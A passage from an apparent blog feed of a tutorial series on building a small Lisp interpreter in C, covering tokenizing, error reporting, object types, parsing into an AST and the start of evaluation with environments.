        tokens-&gt;buf = malloc(tokens-&gt;cap * sizeof(Token));
    } else if (tokens-&gt;size == tokens-&gt;cap) {
        tokens-&gt;cap *= 2;
        tokens-&gt;buf = realloc(tokens-&gt;buf, tokens-&gt;cap * sizeof(Token));
    }
    tokens-&gt;buf[tokens-&gt;size] = tok;
}</code></pre>
                    <p>We also create a Scanner structure and associated
                    procedures to help us traverse the source code while
                    keeping track of the line/column number and
                    character offset from the beginning of the
                    string.</p>
                    <pre><code>typedef struct Scanner {
    StringView current;
    size_t line_number;
    size_t col_number;
    size_t offset;
} Scanner;

char
scan_next(Scanner *scanner) {
    char c = sv_next(&amp;scanner-&gt;current);
    if (c == &#39;\n&#39;) {
        scanner-&gt;line_number++;
        scanner-&gt;col_number = 1;
    } else {
        scanner-&gt;col_number++;
    }
    scanner-&gt;offset++;
    return c;
}

char
scan_peek(const Scanner *scanner) {
    return sv_peek(&amp;scanner-&gt;current);
}

bool
scan_has_next(const Scanner *scanner) {
    return scanner-&gt;current.n != 0;
}</code></pre>
                    <p>We also create a couple of helper functions to
                    skip whitespace, test if a given character is a
                    delimiter and find the primitive type of a
                    StringView value:</p>
                    <pre><code>void
skip_whitespace(Scanner *scanner) {
    while (scan_has_next(scanner)) {
        char c = scan_peek(scanner);
        switch (c) {
            case &#39; &#39;:
            case &#39;\f&#39;:
            case &#39;\n&#39;:
            case &#39;\r&#39;:
            case &#39;\t&#39;:
            case &#39;\v&#39;: {
                scan_next(scanner);
            } break;
            default: {
                return;
            } break;
        }
    }
}

bool
is_delimiter(char c) {
    switch (c) {
        case EOF:
        case &#39;\0&#39;:
        case &#39;;&#39;:
        case &#39;&quot;&#39;:
        case &#39;\&#39;&#39;:
        case &#39;(&#39;:
        case &#39;)&#39;:
        case &#39; &#39;:
        case &#39;\f&#39;:
        case &#39;\n&#39;:
        case &#39;\r&#39;:
        case &#39;\t&#39;:
        case &#39;\v&#39;: {
            return true;
        } break;
    }
    return false;
}

TokenType
find_primitive_type(StringView value) {
    bool is_fixnum = true;
    for (size_t i = 0; i &lt; value.n; i++) {
        char c = value.start[i];
        if (i == 0 &amp;&amp; c == &#39;-&#39; &amp;&amp; value.n &gt; 1) {
            continue;
        }
        if (!(c &gt;= &#39;0&#39; &amp;&amp; c &lt;= &#39;9&#39;)) {
            is_fixnum = false;
            break;
        }
    }
    if (is_fixnum) {
        return TOKEN_FIXNUM;
    }
    if (sv_equal(&amp;value, &amp;(StringView){&quot;true&quot;, 4})) {
        return TOKEN_TRUE;
    }
    if (sv_equal(&amp;value, &amp;(StringView){&quot;false&quot;, 5})) {
        return TOKEN_FALSE;
    }
    return TOKEN_SYMBOL;
}</code></pre>
                    <p>With this we can create a new procedure to
                    tokenize the input, note how the Scanner copies the
                    original StringView value to avoid modifying it.</p>
                    <pre><code>Tokens
tokenize(const StringView *sv) {
    Tokens tokens = (Tokens){0};
    Scanner scanner = (Scanner){
        .current = *sv,
        .line_number = 1,
        .col_number = 1,
    };

    while (scan_has_next(&amp;scanner)) {
        skip_whitespace(&amp;scanner);
        size_t line = scanner.line_number;
        size_t col = scanner.col_number;
        size_t offset = scanner.offset;
        char c = scan_next(&amp;scanner);
        switch (c) {
            case &#39;;&#39;: {
            } break;
            case &#39;&quot;&#39;: {
            } break;
            case &#39;\&#39;&#39;: {
            } break;
            case &#39;(&#39;: {
            } break;
            case &#39;)&#39;: {
            } break;
            default: {
            } break;
        }
    }
    return tokens;
}</code></pre>
                    <p>The easiest case to deal with is comments
                    (<code>;</code>). We just have to skip everything
                    from the comment character until a newline character
                    is encountered.</p>
                    <pre><code>    case &#39;;&#39;: {
        while ((c = scan_next(&amp;scanner)) != &#39;\n&#39; &amp;&amp; c != &#39;\0&#39;) {}
    } break;</code></pre>
                    <p>The <code>TOKEN_QUOTE</code>,
                    <code>TOKEN_RPAREN</code>, <code>TOKEN_LPAREN</code>
                    and <code>TOKEN_NIL</code> don’t require any value
                    anc can be generated directly when we encounter
                    them:</p>
                    <pre><code>    case &#39;\&#39;&#39;: {
        Token token =  (Token){
            .type = TOKEN_QUOTE,
            .line = line,
            .column = col,
        };
        push_token(&amp;tokens, token);
    } break;
    case &#39;(&#39;: {
        if (scan_peek(&amp;scanner) == &#39;)&#39;) {
            scan_next(&amp;scanner);
            Token token =  (Token){
                .type = TOKEN_NIL,
                .line = line,
                .column = col,
            };
            push_token(&amp;tokens, token);
        } else {
            Token token =  (Token){
                .type = TOKEN_LPAREN,
                .line = line,
                .column = col,
            };
            push_token(&amp;tokens, token);
        }
    } break;
    case &#39;)&#39;: {
        Token token =  (Token){
            .type = TOKEN_RPAREN,
            .line = line,
            .column = col,
        };
        push_token(&amp;tokens, token);
    } break;</code></pre>
                    <p>If we find a string, we need to traverse the
                    source until we find a non escaped closing double
                    quotes. This is the only instance in which our lexer
                    can generate an error. We will leave the error
                    reporting for the next section:</p>
                    <pre><code>    char prev = c;
    bool found = false;
    size_t n = 0;
    while (scan_has_next(&amp;scanner)) {
        c = scan_next(&amp;scanner);
        if (c == &#39;&quot;&#39; &amp;&amp; prev != &#39;\\&#39;) {
            found = true;
            break;
        }
        prev = c;
        n++;
    }
    if (!found) {
        // TODO: Report error: couldn&#39;t find the closing quotes.
    }
    Token token =  (Token){
        .value = (StringView){
            .start = &amp;sv-&gt;start[offset + 1],
            .n = n,
        },
        .type = TOKEN_STRING,
        .line = line,
        .column = col,
    };
    push_token(&amp;tokens, token);</code></pre>
                    <p>Finally, we consider the rest of the primitive
                    identifiers (true/false, fixnums and symbols). We
                    keep reading characters until we find a delimiter
                    and we then build the token and find the
                    corresponding type with the helper function
                    <code>find_primitive_type</code>:</p>
                    <pre><code>    size_t n = 1;
    while (scan_has_next(&amp;scanner)) {
        c = scan_next(&amp;scanner);
        if (is_delimiter(c)) {
            break;
        }
        n++;
    }
    if (c == EOF || c == &#39;\0&#39;) {
        break;
    }
    Token token =  (Token){
        .value = (StringView){
            .start = &amp;sv-&gt;start[offset],
            .n = n,
        },
        .type = TOKEN_SYMBOL,
        .line = line,
        .column = col,
    };
    token.type = find_primitive_type(token.value);
    push_token(&amp;tokens, token);</code></pre>
                    <p>We can now test the tokenizer by modifying the
                    <code>process_source</code> procedure on the main
                    file (Don’t forget to free the token buffer!).</p>
                    <pre><code>void
process_source(const StringView *source) {
    Tokens tokens = tokenize(source);

    // Print tokens.
    for (size_t i = 0; i &lt; tokens.size; i++) {
        Token tok = tokens.buf[i];
        print_token(tok);
    }

    free(tokens.buf);
}</code></pre>
                    <p>Note that we implemented a simple
                    <code>print_token</code> function to test that the
                    lexer is working as expected. Try to run it with the
                    files from the example folder or by using the
                    REPL.</p>
                    <h2 id="errors">Errors</h2>
                    <p>Let’s talk about errors. First of all, there are
                    different type of errors that can occur, for
                    example, lexing errors, parsing errors or runtime
                    errors. For the first two, we want to report the
                    line and column of the error and the file name if
                    applicable in addition to the error. Most text
                    editors have a way of parsing error messages to aid
                    in code navigation, for example:</p>
                    <pre><code>filename.c:208:37: error: ‘an_example_var’ undeclared (first use in this function)</code></pre>
                    <p>We want to output a similar error format, but
                    when adding files via stdin or REPL commands, the
                    errors may be slightly different.</p>
                    <p>To keep things simple, we will have a limited
                    number of possible error types, each with an
                    associated base text string. An error is then
                    composed of an error type and error value:</p>
                    <pre><code>typedef enum ErrorType {
    ERR_TYPE_LEXER,
    ERR_TYPE_PARSER,
    ERR_TYPE_RUNTIME,
} ErrorType;

typedef enum ErrorValue {
    ERR_UNKNOWN = 0,
    ERR_UNMATCHED_STRING,
} ErrorValue;

typedef struct Error {
    ErrorType type;
    ErrorValue value;
    size_t line;
    size_t col;
} Error;

static const char* error_msgs[] = {
    [ERR_UNKNOWN] = &quot;error: something unexpected happened&quot;,
    [ERR_UNMATCHED_STRING] = &quot;error: unmatched string delimiter&quot;,
};</code></pre>
                    <p>It is possible that if there are any errors, we
                    could still continue gracefully with our program
                    execution. For this reason, we want to allow storing
                    a number of errors in a buffer to handle them on
                    request. Since we don’t want to spam the users with
                    thousands of error messages just because an error
                    happens at the beginning, we store a small static
                    buffer to keep track of the number of errors in the
                    pipe. For now, we can say that the maximum number of
                    errors to display at any given time is 16:</p>
                    <pre><code>#define ERR_MAX_NUMBER 16
static Error errors[ERR_MAX_NUMBER];
static size_t errors_n = 0;

void
error_push(Error error) {
    if (errors_n &lt; ERR_MAX_NUMBER) {
        errors[errors_n++] = error;
    }
}</code></pre>
                    <p>Let’s go back and add error output to the missing
                    string delimiter for our lexer:</p>
                    <pre><code>    ...

    if (!found) {
        error_push((Error){
                .type = ERR_TYPE_LEXER,
                .value = ERR_UNMATCHED_STRING,
                .line = line,
                .col = col,
        });
        return tokens;
    }

    ...</code></pre>
                    <p>We can now handle the case where
                    <code>errors_n != 0</code> for each of the possible
                    ways of running our program.</p>
                    <pre><code>void
process_source(const StringView *source) {
    Tokens tokens = tokenize(source);
    if (errors_n != 0) {
        if (tokens.buf != NULL) {
            free(tokens.buf);
        }
        return;
    }

...

void
run_repl(void) {
    printf(&quot;BDL REPL (Press Ctrl-D or Ctrl-C to exit)\n&quot;);
    while (true) {
        printf(REPL_PROMPT);
        StringView sv = read_line();
        if (sv.start == NULL) {
            return;
        }
        process_source(&amp;sv);

        // Check if there were any errors.
        if (errors_n != 0) {
            for (size_t i = 0; i &lt; errors_n; i++) {
                Error err = errors[i];
                for (size_t j = 0; j &lt; err.col + sizeof(REPL_PROMPT) - 2; j++) {
                    putchar(&#39; &#39;);
                }
                printf(&quot;|\n&quot;);
                for (size_t j = 0; j &lt; err.col + sizeof(REPL_PROMPT) - 2; j++) {
                    putchar(&#39; &#39;);
                }
                printf(&quot;%s\n&quot;, error_msgs[err.value]);
            }
            errors_n = 0;
            continue;
        }

...

void
run_file(char *file_name) {
    ...
    process_source(&amp;sv);

    // Check if there were any errors.
    if (errors_n != 0) {
        for (size_t i = 0; i &lt; errors_n; i++) {
            Error err = errors[i];
            printf(&quot;%s&quot;, file_name);
            if (err.line != 0) {
                printf(&quot;:%ld:%ld&quot;, err.line, err.col);
            }
            printf(&quot;%s\n&quot;, error_msgs[err.value]);
        }
        errors_n = 0;
    }

...

void
run_stdin(void) {
    ...
    process_source(&amp;sv);

    // Check if there were any errors.
    if (errors_n != 0) {
        for (size_t i = 0; i &lt; errors_n; i++) {
            Error err = errors[i];
            printf(&quot;stdin&quot;);
            if (err.line != 0) {
                printf(&quot;:%ld:%ld: &quot;, err.line, err.col);
            }
            printf(&quot;%s\n&quot;, error_msgs[err.value]);
        }
        errors_n = 0;
    }

...</code></pre>
                    <p>For files and stdin we output an error that can
                    be parsed by text editors, but on the REPL we get a
                    bit fancy and display an indicator of where the
                    error happened, since we can only have a single
                    line:</p>
                    <pre><code>BDL REPL (Press Ctrl-D or Ctrl-C to exit)
bdl&gt; (this is a &quot;test for unterminated strings
                |
                error: unmatched string delimiter
bdl&gt;</code></pre>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>That is all for now! You can fetch the source
                    code at this point with the <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.2">v0.2</a>
                    tag. Hope you are enjoying so far! Next up: <a
                    href="/posts/building-bdl-part-2">Parsing</a>.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 2 (Object types and
parsing)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-2"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-2</id>
            <updated>2026-06-16T09:49:08Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>After <a
                    href="/posts/building-bdl-part-1">generating a
                    series of tokens</a>, we can now start the parsing
                    process. The goal of the parser is to create an
                    abstract syntax tree (AST) storing a representation
                    of the current expression. An interesting property
                    of Lisp languages is that the AST can be used
                    directly, since lists are stored internally as
                    linked objects. This lends itself well to a
                    recursive implementation for parsing, displaying and
                    evaluating the code.</p>
                    <p>The goal for our interpreter today is to build
                    and AST (reporting errors as necessary) from the
                    list of tokens, and echo back a string
                    representation of the given input:</p>
                    <pre><code>BDL REPL (Press Ctrl-D or Ctrl-C to exit)
bdl&gt; (+ 1 a b (&quot;c d&quot; false) ())
(:+ 1 :a :b (&quot;c d&quot; false) ())</code></pre>
                    <p>This doesn’t look very impressive, but under the
                    hood the aforementioned transformations will be
                    performed and the same mechanism used for displaying
                    the output will later be used for expression
                    evaluation.</p>
                    <h2 id="objects-and-object-types">Objects and object
                    types</h2>
                    <p>Our language is dynamically typed, and we need a
                    way of identifying each entity at runtime. We will
                    be calling the base type <code>Object</code>, though
                    it has nothing to do with Object Oriented
                    Programming. Maybe <code>Datum</code> would be a
                    better name, but I’m afraid it may be more confusing
                    for people. In any case, objects can be of several
                    types, for now we consider the following:</p>
                    <pre><code>typedef enum ObjectType {
    OBJ_TYPE_FIXNUM,
    OBJ_TYPE_BOOL,
    OBJ_TYPE_NIL,
    OBJ_TYPE_SYMBOL,
    OBJ_TYPE_STRING,
    OBJ_TYPE_PAIR,
    OBJ_TYPE_PROCEDURE,
    OBJ_TYPE_ERR,
} ObjectType;</code></pre>
                    <p>We talked about most of these in <a
                    href="/posts/building-bdl-part-1">the previous
                    article</a>, with the exception of
                    <code>procedure</code>. We will talk more in depth
                    about procedures in the future, but for now we
                    consider these to be referring to built-in primitive
                    functions, like <code>+</code> or <code>-</code>. To
                    create polymorphism in C, there are a couple of
                    alternatives. Here we will use the concept of a
                    <code>tagged union</code> for clarity, but we will
                    revisit the internal object representation in the
                    future when its time to think about optimization.
                    The <code>Object</code> struct contains a
                    <code>ObjectType</code> field followed by an area of
                    memory that could be interpreted differently
                    depending on the type tag:</p>
                    <pre><code>typedef struct Object {
    ObjectType type;
    union {
        // OBJ_TYPE_FIXNUM
        ssize_t fixnum;

        // OBJ_TYPE_STRING
        struct {
            char *string;
            size_t string_n;
        };

        // OBJ_TYPE_PAIR
        struct {
            struct Object *car;
            struct Object *cdr;
        };

        // OBJ_TYPE_SYMBOL
        struct {
            char *symbol;
            size_t symbol_n;
        };

        // OBJ_TYPE_PROCEDURE
        struct Object *(*proc)(struct Object *args);
    };
} Object;</code></pre>
                    <p>The total size of each allocated object will be
                    the size of the type tag and the maximum size of
                    each possible type plus any necessary padding. In
                    the previous example
                    <code>sizeof(Object) == 24</code>. The largest value
                    in the union is composed of two pointers, which in a
                    <code>x86_64</code> occupy 8 bytes each. ObjectType
                    only requires 4 bytes, but our processors like
                    memory to be aligned to specific boundaries, so we
                    have 4 extra bytes of padding. This is an enormous
                    amount of memory to use for every single entity in
                    our code, but making things clear is more important
                    right now than maximum speed. In fact, tree based
                    interpreters like the one we are building are
                    already slow, so we probably address this point when
                    we wish to optimize the code further.</p>
                    <p>In any case, astute readers may have noticed that
                    there is <code>OBJ_TYPE_BOOL</code> or
                    <code>OBJ_TYPE_NIL</code> in the structure. This is
                    because we will treat those objects as singletons,
                    which will make it so that we don’t have to allocate
                    memory for each of those and the empty list (nil)
                    and company are always the same for all cases. We
                    also keep track of a special object for denoting
                    errors.</p>
                    <pre><code>// Singletons.

Object *obj_nil;
Object *obj_true;
Object *obj_false;
Object *obj_err;</code></pre>
                    <p>Next, we create a number of constructors for the
                    relevant types and a helper function to append a
                    string type.</p>
                    <pre><code>Object *
alloc_object(ObjectType type) {
    Object *obj = malloc(sizeof(Object));
    obj-&gt;type = type;
    return obj;
}

Object *
make_fixnum(ssize_t num) {
    Object *obj = alloc_object(OBJ_TYPE_FIXNUM);
    obj-&gt;fixnum = num;
    return obj;
}

Object *
make_procedure(Object *(*proc)(struct Object *args)) {
    Object *obj = alloc_object(OBJ_TYPE_PROCEDURE);
    obj-&gt;proc = proc;
    return obj;
}

Object *
make_pair(Object *car, Object *cdr) {
    Object *obj = alloc_object(OBJ_TYPE_PAIR);
    obj-&gt;car = car;
    obj-&gt;cdr = cdr;
    return  obj;
}
</code></pre>
                    <p>Fixnums, procedures and pairs are simple. Symbols
                    require us to copy the symbol name internally, and
                    strings are initialized as empty and need to be
                    appended a given string.</p>
                    <pre><code>Object *
make_symbol(StringView sv) {
    Object *obj = alloc_object(OBJ_TYPE_SYMBOL);
    obj-&gt;symbol = malloc(sizeof(char) * sv.n);
    memcpy(obj-&gt;symbol, sv.start, sv.n);
    obj-&gt;symbol_n = sv.n;
    return obj;
}

Object *
make_string(void) {
    Object *obj = alloc_object(OBJ_TYPE_STRING);
    obj-&gt;string = NULL;
    obj-&gt;string_n = 0;
    return obj;
}

void
append_string(Object *obj, const StringView sv) {
    assert(obj != NULL);
    assert(obj-&gt;type == OBJ_TYPE_STRING);
    if (sv.n == 0) {
        return;
    }
    obj-&gt;string = realloc(obj-&gt;string, (obj-&gt;string_n + sv.n) * sizeof(char));
    memcpy(obj-&gt;string + obj-&gt;string_n, sv.start, sv.n);
    obj-&gt;string_n += sv.n;
}</code></pre>
                    <p>We also need to create an initialization function
                    that will instantiate the singleton objects. It
                    should be ran exactly once at the beginning of our
                    program.</p>
                    <pre><code>void
init(void) {
    // Initialize singletons.
    obj_nil = alloc_object(OBJ_TYPE_NIL);
    obj_true = alloc_object(OBJ_TYPE_BOOL);
    obj_false = alloc_object(OBJ_TYPE_BOOL);
    obj_err = alloc_object(OBJ_TYPE_ERR);
}</code></pre>
                    <p>We also shouldn’t forget about freeing our
                    objects. We will be building a tree, so we must be
                    able to traverse it and free everything inside. We
                    have to be careful not to free the singleton
                    objects:</p>
                    <pre><code>void
free_objects(Object *root) {
    switch (root-&gt;type) {
        case OBJ_TYPE_BOOL: break;
        case OBJ_TYPE_NIL: break;
        case OBJ_TYPE_ERR: break;
        case OBJ_TYPE_PROCEDURE:
        case OBJ_TYPE_FIXNUM: {
            free(root);
        } break;
        case OBJ_TYPE_SYMBOL: {
            if (root-&gt;symbol != NULL) {
                free(root-&gt;symbol);
            }
            free(root);
        } break;
        case OBJ_TYPE_STRING: {
            if (root-&gt;string != NULL) {
                free(root-&gt;string);
            }
            free(root);
        } break;
        case OBJ_TYPE_PAIR: {
            if (root-&gt;car != NULL) {
                free_objects(root-&gt;car);
            }
            if (root-&gt;cdr != NULL) {
                free_objects(root-&gt;cdr);
            }
            free(root);
        } break;
    }
}</code></pre>
                    <p>Finally we will use the same recursive technique
                    to display our objects. We have a special case for
                    printing pairs, since when the pairs contain a non
                    nil object in the <code>cdr</code> they are
                    typically represented separated by a dot
                    <code>.</code>.</p>
                    <pre><code>void display(Object *root);

void
display_pair(Object *root) {
    display(root-&gt;car);
    if (root-&gt;cdr-&gt;type == OBJ_TYPE_PAIR) {
        printf(&quot; &quot;);
        display_pair(root-&gt;cdr);
    } else if (root-&gt;cdr == obj_nil) {
        return;
    } else {
        printf(&quot; . &quot;);
        display(root-&gt;cdr);
    }
}

void
display(Object *root) {
    switch (root-&gt;type) {
        case OBJ_TYPE_FIXNUM: {
            printf(&quot;%zd&quot;, root-&gt;fixnum);
        } break;
        case OBJ_TYPE_BOOL: {
            if (root == obj_true) {
                printf(&quot;true&quot;);
            } else {
                printf(&quot;false&quot;);
            }
        } break;
        case OBJ_TYPE_NIL: {
            printf(&quot;()&quot;);
        } break;
        case OBJ_TYPE_STRING: {
            printf(&quot;\&quot;%.*s\&quot;&quot;, (int)root-&gt;string_n, root-&gt;string);
        } break;
        case OBJ_TYPE_SYMBOL: {
            printf(&quot;:%.*s&quot;, (int)root-&gt;symbol_n, root-&gt;symbol);
        } break;
        case OBJ_TYPE_PAIR: {
            printf(&quot;(&quot;);
            display_pair(root);
            printf(&quot;)&quot;);
        } break;
        case OBJ_TYPE_PROCEDURE: {
            printf(&quot;#{procedure}&quot;);
        } break;
        case OBJ_TYPE_ERR: {
            printf(&quot;#{error}&quot;);
        } break;
    }
    return;
}</code></pre>
                    <h2 id="parsing-tokens">Parsing tokens</h2>
                    <p>We will be using a similar approach as we did
                    with our character scanner. First, we build some
                    helper functions to visit tokens without altering
                    the original input:</p>
                    <pre><code>typedef struct Visitor {
    Tokens tokens;
    size_t current;
} Visitor;

Token
peek_token(const Visitor *visitor) {
    return visitor-&gt;tokens.buf[visitor-&gt;current];
}

Token
next_token(Visitor *visitor) {
    return visitor-&gt;tokens.buf[visitor-&gt;current++];
}

bool
has_next_token(const Visitor *visitor) {
    return visitor-&gt;current &lt; visitor-&gt;tokens.size;
}</code></pre>
                    <p>Let’s setup the base parsing function, which is
                    just a giant switch statement.</p>
                    <pre><code>Object *
parse_tree(Visitor *vs) {
    Token tok = next_token(vs);
    switch (tok.type) {
        case TOKEN_FIXNUM: {
            return parse_fixnum(tok);
        } break;
        case TOKEN_TRUE: {
            return obj_true;
        } break;
        case TOKEN_FALSE: {
            return obj_false;
        } break;
        case TOKEN_RPAREN: {
            error_push((Error){
                .type = ERR_TYPE_PARSER,
                .value = ERR_UNBALANCED_PAREN,
                .line = tok.line,
                .col = tok.column,
            });
            return obj_err;
        } break;
        case TOKEN_QUOTE: {
            Object *quote_sym = make_symbol((StringView){&quot;quote&quot;, 5});
            Object *next_obj = parse_tree(vs);
            if (next_obj == obj_err) {
                free_objects(quote_sym);
                return obj_err;
            }
            return make_pair(quote_sym, make_pair(next_obj, obj_nil));
        } break;
        case TOKEN_LPAREN: {
            Object *obj = parse_list(vs);
            if (obj == obj_err) {
                error_push((Error){
                    .type = ERR_TYPE_PARSER,
                    .value = ERR_UNBALANCED_PAREN,
                    .line = tok.line,
                    .col = tok.column,
                });
            }
            return obj;
        } break;
        case TOKEN_STRING: {
            Object *obj = make_string();
            append_string(obj, tok.value);
            return obj;
        } break;
        case TOKEN_SYMBOL: {
            return make_symbol(tok.value);
        } break;
        case TOKEN_NIL: {
            return obj_nil;
        } break;
        default: {
            break;
        } break;
    }
    error_push((Error){
        .type = ERR_TYPE_PARSER,
        .value = ERR_EOF_REACHED,
        .line = tok.line,
        .col = tok.column,
    });
    return obj_err;
}</code></pre>
                    <p>We handle the fixnum parsing on a separate
                    function for simplicity.</p>
                    <pre><code>Object *
parse_fixnum(Token tok) {
    ssize_t num = 0;
    int sign = 1;
    for (size_t i = 0; i &lt; tok.value.n; i++) {
        char c = tok.value.start[i];
        if (c == &#39;-&#39;) {
            sign = -1;
            continue;
        }
        num = num * 10 + (c - &#39;0&#39;);
    }
    return make_fixnum(num * sign);
}</code></pre>
                    <p>The list parsing also happens in a separate
                    function and it allow us to create a recursive
                    descent parser by calling the base function for each
                    subsequent token.</p>
                    <pre><code>Object *
parse_list(Visitor *vs) {
    Token tok = peek_token(vs);
    if (tok.type == TOKEN_EOF) {
        return obj_err;
    }
    Object *next_obj = parse_tree(vs);
    if (next_obj == obj_err) {
        return obj_err;
    }
    Object *root = make_pair(next_obj, obj_nil);
    Object *list = root;
    while (has_next_token(vs)) {
        Token tok = peek_token(vs);
        if (tok.type == TOKEN_RPAREN) {
            next_token(vs);
            break;
        }
        if (tok.type == TOKEN_EOF) {
            free_objects(root);
            return obj_err;
        }
        next_obj = parse_tree(vs);
        if (next_obj == obj_err) {
            free_objects(root);
            return obj_err;
        }
        list-&gt;cdr = make_pair(next_obj, obj_nil);
        list = list-&gt;cdr;
    }
    return root;
}</code></pre>
                    <p>We have to be careful when finding errors and
                    free the memory if its going to go out of scope. We
                    don’t want to be leaking memory right? We also added
                    a bunch of new errors:</p>
                    <pre><code>static const char* error_msgs[] = {
    [ERR_UNKNOWN] = &quot;error: something unexpected happened&quot;,
    [ERR_UNMATCHED_STRING] = &quot;error: unmatched string delimiter&quot;,
    [ERR_UNBALANCED_PAREN] = &quot;error: unbalanced parentheses&quot;,
    [ERR_NOT_IMPLEMENTED] = &quot;error: not implemented&quot;,
    [ERR_EOF_REACHED] = &quot;error: EOF reached&quot;,
    [ERR_UNKNOWN_TOKEN] = &quot;error: unknown token&quot;,
};</code></pre>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>To hook everything up we only need to adjust the
                    <code>process_source</code> function as follows.</p>
                    <pre><code>    Visitor visitor = (Visitor){
        .tokens = tokens,
        .current = 0,
    };
    while (has_next_token(&amp;visitor) &amp;&amp; peek_token(&amp;visitor).type != TOKEN_EOF) {
        Object *root = parse_tree(&amp;visitor);
        if (root == obj_err || errors_n != 0) {
            free_objects(root);
            break;
        }
        display(root);
        printf(&quot;\n&quot;);
        free_objects(root);
    }</code></pre>
                    <p>The <code>parse_tree</code> function returns the
                    output of a single statement. If our program has
                    multiple statements we want them to be executed one
                    after another, for example:</p>
                    <pre><code>(+ 1 2 3 4)

(* 2 3 4)</code></pre>
                    <p>This should evaluate the first expression
                    <code>10</code> and then the second <code>24</code>.
                    In many Scheme implementations, even when all
                    expressions are evaluated only the results from the
                    last one will be shown. We will talk about that very
                    soon, but for now you can test the implementation
                    with different edge cases and see if we are
                    generating the right AST.</p>
                    <p>In the <a href="/posts/building-bdl-part-3">next
                    article</a> we will talk about expression
                    evaluation, introduce the concept of “environments”
                    and add our first primitive procedures. As usual the
                    code at this point in time can be found on <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.3">tag
                    v0.3</a>. See you soon!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 3 (Evaluation and
environments)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-3"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-3</id>
            <updated>2026-06-16T09:49:08Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>With <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.3">the
                    code</a> from the <a
                    href="/posts/building-bdl-part-2">previous issue of
                    this series</a> we now have access to a system that
                    generates AST trees from a series of tokens for each
                    of the expressions in our language. We have a
                    recursive algorithm for displaying the tree, but how
                    do we go about “evaluating” it? Well, primitive
                    types such as <code>fixnums</code>,
                    <code>booleans</code>, <code>nil</code> or
                    <code>strings</code> just evaluate to themselves. A
                    symbol evaluates by performing a lookup to try to
                    find the object associated with it. We will discuss
                    this more in the next section.</p>
                    <p>A <code>pair</code> list evaluates to a procedure
                    call, where the first element is the symbol name
                    corresponding to the procedure name, and the rest
                    are consider the parameters of that procedure. This
                    could be done with a recursive call to
                    <code>eval</code> but we want procedure calls to be
                    tail-call optimized so we need to account for this,
                    otherwise recursive functions will explode the
                    stack.</p>
                    <p>Here is the basis of the eval function, note that
                    the reported runtime error doesn’t have access to a
                    line/col count, making debugging more complicated
                    that it has to be. We will address that in the
                    future, but for now let’s focus on the
                    evaluation:</p>
                    <pre><code>Object *
eval(Object *root) {
    switch (root-&gt;type) {
        case OBJ_TYPE_FIXNUM:
        case OBJ_TYPE_BOOL:
        case OBJ_TYPE_NIL:
        case OBJ_TYPE_STRING: {
            return root;
        } break;
        case OBJ_TYPE_SYMBOL: {
            // TODO: Implement...
        } break;
        case OBJ_TYPE_PAIR: {
            // TODO: Implement...
        } break;
        default: {
            break;
        } break;
    }

    error_push((Error){
        .type = ERR_TYPE_RUNTIME,
        .value = ERR_UNKNOWN_OBJ_TYPE,
        .line = 0,
        .col = 0,
    });
    return obj_err;
}</code></pre>
                    <p>We adjust the <code>process_source</code>
                    function so that we can start testing our evaluator.
                    As the ominous FIXME comment mentions, we may be
                    leaking memory, but we will have to worry about that
                    in the future.</p>
                    <pre><code>    while (has_next_token(&amp;visitor) &amp;&amp; peek_token(&amp;visitor).type != TOKEN_EOF) {
        Object *root = parse_tree(&amp;visitor);
        if (root == obj_err || errors_n != 0) {
            free_objects(root);
            break;
        }

        // FIXME: Not freeing result or intermediate objects, can leak memory.
        Object *result = eval(root);
        printf(&quot;AST: &quot;);
        display(root);
        printf(&quot;\n&quot;);
        printf(&quot;EVAL: &quot;);
        display(result);
        printf(&quot;\n&quot;);
        free_objects(root);
    }</code></pre>
                    <p>You can create a small <code>test.bdl</code>
                    program to see if things are working properly.</p>
                    <pre><code>1
&quot;test&quot;
true
false
()
a
&#39;test
(+ 1 2 (+ 3 4))</code></pre>
                    <p>Just run it with
                    <code>./build/bdl test.bdl</code> and you should be
                    getting the following result so far:</p>
                    <pre><code>AST: 1
EVAL: 1
AST: &quot;test&quot;
EVAL: &quot;test&quot;
AST: true
EVAL: true
AST: false
EVAL: false
AST: ()
EVAL: ()
AST: :a
EVAL: #{error}
test.bdl: error: can&#39;t eval unknown object type</code></pre>
                    <p>When it encounters a symbol, it returns an error,
                    as expected. I used the same procedure explained
                    earlier for error reporting so from now on I’ll skip
                    the explanation of how to add new error types. Let’s
                    start exploring how to deal with symbols.</p>
                    <h2 id="symbols-scoping-and-environments">Symbols,
                    scoping and environments</h2>
                    <p>As previously mentioned, a symbol will evaluate
                    as a lookup for an associated object. But where do
                    we look things? Well first we need to talk about
                    scopes. Scheme is a <a
                    href="https://www.cs.rpi.edu/academics/courses/fall00/ai/scheme/reference/schintro-v14/schintro_53.html">lexically
                    scoped</a> language and the context of a symbol
                    depends on the scope we are in. For example:</p>
                    <pre><code>(define a 10)
(define b 60)

(let ((a 20))
    (display b)
    (display a)
    (set! a 42)
    (display a)
    (newline))

(display a)
(newline)</code></pre>
                    <p>In a correct implementation this should
                    print:</p>
                    <pre><code>60
20
42
10</code></pre>
                    <p>Note how the variable in the global scope is not
                    affected by the <code>let</code> binding or the
                    <code>set!</code> procedure. We can have an
                    arbitrary number of nested scopes, with symbols
                    “shadowing” each other so we need a way of looking
                    up a symbol in the current scope, and if we don’t
                    find it go to the previous one and so on.</p>
                    <p>We can implement this in C via chained
                    environments. We will use a simple approach, where
                    every environment is a dynamic array of
                    <code>Object</code> to <code>Object</code> pairs. To
                    look up a symbol we linearly traverse the entire
                    array to find a matching symbol and if we don’t find
                    it in this scope we repeat the process in the parent
                    environment until we reach the root. Normally we
